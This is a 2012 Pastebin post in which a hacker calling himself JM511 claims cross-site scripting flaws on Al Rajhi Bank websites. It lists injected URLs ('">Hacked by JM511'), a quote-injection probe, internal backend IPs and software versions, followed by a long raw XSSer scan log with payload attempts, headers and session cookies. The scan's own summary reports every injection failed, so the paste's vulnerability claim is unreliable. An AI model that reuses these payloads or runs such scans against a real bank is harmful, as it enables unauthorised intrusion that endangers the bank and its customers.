API tools faq
paste
Advertisement
Islam-Hacker

Xss www.alrajhibank.com.sa By JM511

Islam-Hacker
Oct 26th, 2012
568
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.69 KB | None | 0 0
raw download clone embed print report
  1. Xss Injection
  2. On : www.alrajhibank.com.sa
  3. مصرف الراجحي , ثغرة حقن الكوكيز
  4. By JM511 #www.twitter.com/JM511
  5. Follow me more information
  6. [email protected]
  7. ========================================
  8. Greeting to :
  9. #in3ctor Q8 , #JiNnI-LB #Zombie_JM #Sec-Q8 #Dr.ExE #GolDen-Z3r0 #Sarbot511
  10. 2013/2/7
  11. -------------- SUU ------------------
  12. ========================================
  13. msg to n00bs: _!_
  14. Version
  15.  
  16. webapp : cui-sv_wls113.0_37_140912
  17. jsLibrary : WDS_JSLIBRARY_V54_050110
  18. tagLibrary : 1.0-24
  19. Backend : ETV-JEDSV08AA 194.76.166.179
  20. SI : 1ASIXJCPSV 194.76.166.67
  21. eRetail Engine :
  22.  
  23. http://www.alrajhibank.com.sa/ar/Pages/Alrajhi_results.aspx?k=1%27
  24. http://www.alrajhi-capital.com/ar/brokerage/echannels/Pages/%22%3EHacked%20by%20JM511
  25. http://www.alrajhibank.com.sa/en/pages/default.aspx%22%3EHacked%20by%20JM511
  26. http://career.alrajhibank.com.sa/%22%3EHacked%20by%20JM511
  27. http://www.alrajhibank.com.sa/en/media-centre/pages/events.aspx%22%3EHacked%20by%20JM511
  28. http://www.alrajhibank.com.sa/en/business/cash-management/pages/%22%3EHacked%20by%20jm511
  29.  
  30.  
  31. when u run ur fucker mind u wll c that :)
  32. i cut some of shit cuz n00bs ;)
  33. ===========================================================================
  34.  
  35. XSSer v1.6 (beta): "Grey Swarm!" - 2011/2012 - (GPLv3.0) -> by psy
  36.  
  37. ===========================================================================
  38. Testing [XSS from Dork] injections...good luck ;)
  39. ===========================================================================
  40. ===========================================================================
  41. Target: http://career.alrajhibank.com.sa/ --> 2012-10-27 05:52:29.660518
  42. ===========================================================================
  43.  
  44. ---------------------------------------------
  45. [-] Hashing: d8a66d4f2366f456ae5efc09e6a439ff
  46. [+] Trying: http://career.alrajhibank.com.sa/">d8a66d4f2366f456ae5efc09e6a439ff
  47. [+] Browser Support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  48. [-] Headers Results:
  49.  
  50. Server: nginx
  51. Date: Sat, 27 Oct 2012 02:52:38 GMT
  52. Connection: keep-alive
  53. Keep-Alive: timeout=5
  54. Pragma: no-cache
  55. Cache-Control: private, no-cache, no-cache="Set-Cookie", no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform
  56. Expires: Mon, 3 Jul 2000 15:55:03 GMT
  57. Set-Cookie: user-prefs=locale {} lang en; Path=/
  58. MIME-Version: 1.0
  59. Content-Length: 15
  60. http-code: 404
  61. total-time: 0.881931
  62. namelookup-time: 0.38018
  63. connect-time: 0.584797
  64. header-size: 438
  65. request-size: 294
  66. response-code: 404
  67. ssl-verifyresult: 0
  68. content-type: text/html; charset=utf-8
  69. cookielist: ['career.alrajhibank.com.sa\tFALSE\t/\tFALSE\t0\tuser-prefs\tlocale {} lang en']
  70.  
  71. ---------------------------------------------
  72. [-] Injection Results:
  73.  
  74. 404 Not Found: The server has not found anything matching the Request-URI
  75.  
  76. ===========================================================================
  77. Target: http://www.alrajhibank.com.sa/ar/pages/default.aspx --> 2012-10-27 05:52:29.660518
  78. ===========================================================================
  79.  
  80. ---------------------------------------------
  81. [-] Hashing: 3383787634ef2d85f8879939976aba0d
  82. [+] Trying: http://www.alrajhibank.com.sa/ar/pages/default.aspx/">3383787634ef2d85f8879939976aba0d
  83. [+] Browser Support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  84. [-] Headers Results:
  85.  
  86. Date: Sat, 27 Oct 2012 02:52:38 GMT
  87. Connection: close
  88. Content-Length: 34
  89. Set-Cookie: NSC_BmSbkijOfxQpsubm=ffffffffaf181d1e45525d5f4f58455e445a4a423660;path=/;httponly
  90. http-code: 400
  91. total-time: 0.265311
  92. namelookup-time: 0.186291
  93. connect-time: 0.223349
  94. header-size: 224
  95. request-size: 313
  96. response-code: 400
  97. ssl-verifyresult: 0
  98. content-type: text/html
  99. cookielist: ['#HttpOnly_www.alrajhibank.com.sa\tFALSE\t/\tFALSE\t0\tNSC_BmSbkijOfxQpsubm\tffffffffaf181d1e45525d5f4f58455e445a4a423660']
  100.  
  101. ---------------------------------------------
  102. [-] Injection Results:
  103.  
  104. 400 Bad Request: The request could not be understood by the server due to malformed syntax
  105.  
  106. ===========================================================================
  107. Target: http://www.alrajhibank.com.sa/en/pages/default.aspx --> 2012-10-27 05:52:29.660518
  108. ===========================================================================
  109.  
  110. ---------------------------------------------
  111. [-] Hashing: 59b614b559bfdea055561b402b977701
  112. [+] Trying: http://www.alrajhibank.com.sa/en/pages/default.aspx/">59b614b559bfdea055561b402b977701
  113. [+] Browser Support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  114. [-] Headers Results:
  115.  
  116. Date: Sat, 27 Oct 2012 02:52:39 GMT
  117. Connection: close
  118. Content-Length: 34
  119. Set-Cookie: NSC_BmSbkijOfxQpsubm=ffffffffaf181d1e45525d5f4f58455e445a4a423660;path=/;httponly
  120. http-code: 400
  121. total-time: 0.257742
  122. namelookup-time: 0.179871
  123. connect-time: 0.217707
  124. header-size: 224
  125. request-size: 313
  126. response-code: 400
  127. ssl-verifyresult: 0
  128. content-type: text/html
  129. cookielist: ['#HttpOnly_www.alrajhibank.com.sa\tFALSE\t/\tFALSE\t0\tNSC_BmSbkijOfxQpsubm\tffffffffaf181d1e45525d5f4f58455e445a4a423660']
  130.  
  131. ---------------------------------------------
  132. [-] Injection Results:
  133.  
  134. 400 Bad Request: The request could not be understood by the server due to malformed syntax
  135.  
  136. ===========================================================================
  137.  
  138. ===========================================================================
  139. Target: http://career.alrajhibank.com.sa/ar/ --> 2012-10-27 05:52:29.660518
  140. ===========================================================================
  141.  
  142. ---------------------------------------------
  143. [-] Hashing: 2317523b668150612031539414d1f1f2
  144. [+] Trying: http://career.alrajhibank.com.sa/ar/">2317523b668150612031539414d1f1f2
  145. [+] Browser Support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  146. [-] Headers Results:
  147.  
  148. Server: nginx
  149. Date: Sat, 27 Oct 2012 02:52:44 GMT
  150. Connection: keep-alive
  151. Keep-Alive: timeout=5
  152. Pragma: no-cache
  153. Cache-Control: private, no-cache, no-cache="Set-Cookie", no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform
  154. Expires: Mon, 3 Jul 2000 15:55:03 GMT
  155. Set-Cookie: user-prefs=locale {} lang en; Path=/
  156. MIME-Version: 1.0
  157. Content-Length: 15
  158. http-code: 404
  159. total-time: 0.771837
  160. namelookup-time: 0.270268
  161. connect-time: 0.475814
  162. header-size: 438
  163. request-size: 297
  164. response-code: 404
  165. ssl-verifyresult: 0
  166. content-type: text/html; charset=utf-8
  167. cookielist: ['career.alrajhibank.com.sa\tFALSE\t/\tFALSE\t0\tuser-prefs\tlocale {} lang en']
  168.  
  169. ---------------------------------------------
  170. [-] Injection Results:
  171. [+] Checking: url attack with ">PAYLOAD... fail
  172.  
  173. Searching hash: 363335a0b7f70b40eb322803bf3ad6b0 in target source code...
  174.  
  175. Injection failed!
  176.  
  177. ===========================================================================
  178. Target: http://www.app1.alrajhibank.com.sa/calculators/default.aspx?lang=ar/ --> 2012-10-27 05:52:29.660518
  179. ===========================================================================
  180.  
  181. ---------------------------------------------
  182. [-] Hashing: 7ad4f24ee8888fcbdd3dbfb905f6bcaf
  183. [+] Trying: http://www.app1.alrajhibank.com.sa/calculators/default.aspx?lang=ar/">7ad4f24ee8888fcbdd3dbfb905f6bcaf
  184. [+] Browser Support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  185. [-] Headers Results:
  186.  
  187. Connection: close
  188. Date: Sat, 27 Oct 2012 02:52:45 GMT
  189. Server: Microsoft-IIS/6.0
  190. X-Powered-By: ASP.NET
  191. X-AspNet-Version: 2.0.50727
  192. Location: /calculators/default.aspx?lang=ar/">7ad4f24ee8888fcbdd3dbfb905f6bcaf&AspxAutoDetectCookieSupport=1
  193. Set-Cookie: AspxAutoDetectCookieSupport=1; path=/
  194. Cache-Control: private
  195. Set-Cookie: NSC_BmSbkijOfxQpsubm=ffffffffaf181d0145525d5f4f58455e445a4a423660;path=/;httponly
  196. http-code: 302
  197. total-time: 0.317241
  198. namelookup-time: 0.238896
  199. connect-time: 0.275696
  200. header-size: 462
  201. request-size: 329
  202. response-code: 302
  203. ssl-verifyresult: 0
  204. content-type: text/html
  205. cookielist: ['www.app1.alrajhibank.com.sa\tFALSE\t/\tFALSE\t0\tAspxAutoDetectCookieSupport\t1', '#HttpOnly_www.app1.alrajhibank.com.sa\tFALSE\t/\tFALSE\t0\tNSC_BmSbkijOfxQpsubm\tffffffffaf181d0145525d5f4f58455e445a4a423660']
  206.  
  207. ---------------------------------------------
  208. [-] Injection Results:
  209. [+] Checking: url attack with ">PAYLOAD... fail
  210.  
  211. Searching hash: 7ad4f24ee8888fcbdd3dbfb905f6bcaf in target source code...
  212.  
  213. Injection failed!
  214.  
  215. ===========================================================================
  216. Target: https://eservice.alrajhibank.com.sa/AOW?Lang=AR --> 2012-10-27 05:52:29.660518
  217. ===========================================================================
  218.  
  219. ---------------------------------------------
  220. [-] Hashing: 6d818ea918ce8691bee997249a545680
  221. [+] Trying: https://eservice.alrajhibank.com.sa/AOW?Lang=AR/">6d818ea918ce8691bee997249a545680
  222. [+] Browser Support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
  223. [-] Headers Results:
  224.  
  225. http-code: 500
  226. total-time: 0.642949
  227. namelookup-time: 0.147325
  228. connect-time: 0.182972
  229. header-size: 265
  230. request-size: 308
  231. response-code: 500
  232. ssl-verifyresult: 0
  233. content-type: text/html; charset=utf-8
  234. cookielist: []
  235.  
  236. ---------------------------------------------
  237. [-] Injection Results:
  238.  
  239. 500 Internal Server Error: The server encountered an unexpected condition which prevented it from fulfilling the request
  240.  
  241. Mosquito(s) landed!
  242.  
  243.  
  244. ===========================================================================
  245. [*] Final Results:
  246. ===========================================================================
  247.  
  248. - Injections: 9
  249. - Failed: 9
  250. - Sucessfull: 0
  251. - Accur: 0 %
  252.  
  253. ===========================================================================
  254.  
  255. ===========================================================================
  256. [*] Statistic:
  257. ===========================================================================
  258. --------------------------------------------------
  259. Test Time Duration: 0:00:20.604619
  260. --------------------------------------------------
  261. Total Connections: 19
  262. -------------------------
  263. 200-OK: 11 | 404: 5 | 503: 0 | Others: 3
  264. Connec: 57 %
  265. --------------------------------------------------
  266. Total Payloads: 9
  267. -------------------------
  268. Checker: 0 | Manual: 0 | Auto: 9 | DCP: 0 | DOM: 0 | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0
  269. --------------------------------------------------
  270. Total Injections: 9
  271. -------------------------
  272. Failed: 9 | Sucessfull: 0
  273. Accur : 0 %
  274. -------------------------
  275. Total Discovered: 0
  276. -------------------------
  277. Checker: 0 | Manual: 0 | Auto: 0 | DCP: 0 | DOM: 0 | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0
  278. --------------------------------------------------
  279. False positives: 0 | Vulnerables: 0
  280. -------------------------
  281. Mana: 0
  282. --------------------------------------------------
  283. [I] Could not find any vulnerability!. Try another combination or hack it -manually- :)
  284.  
  285. ===========================================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!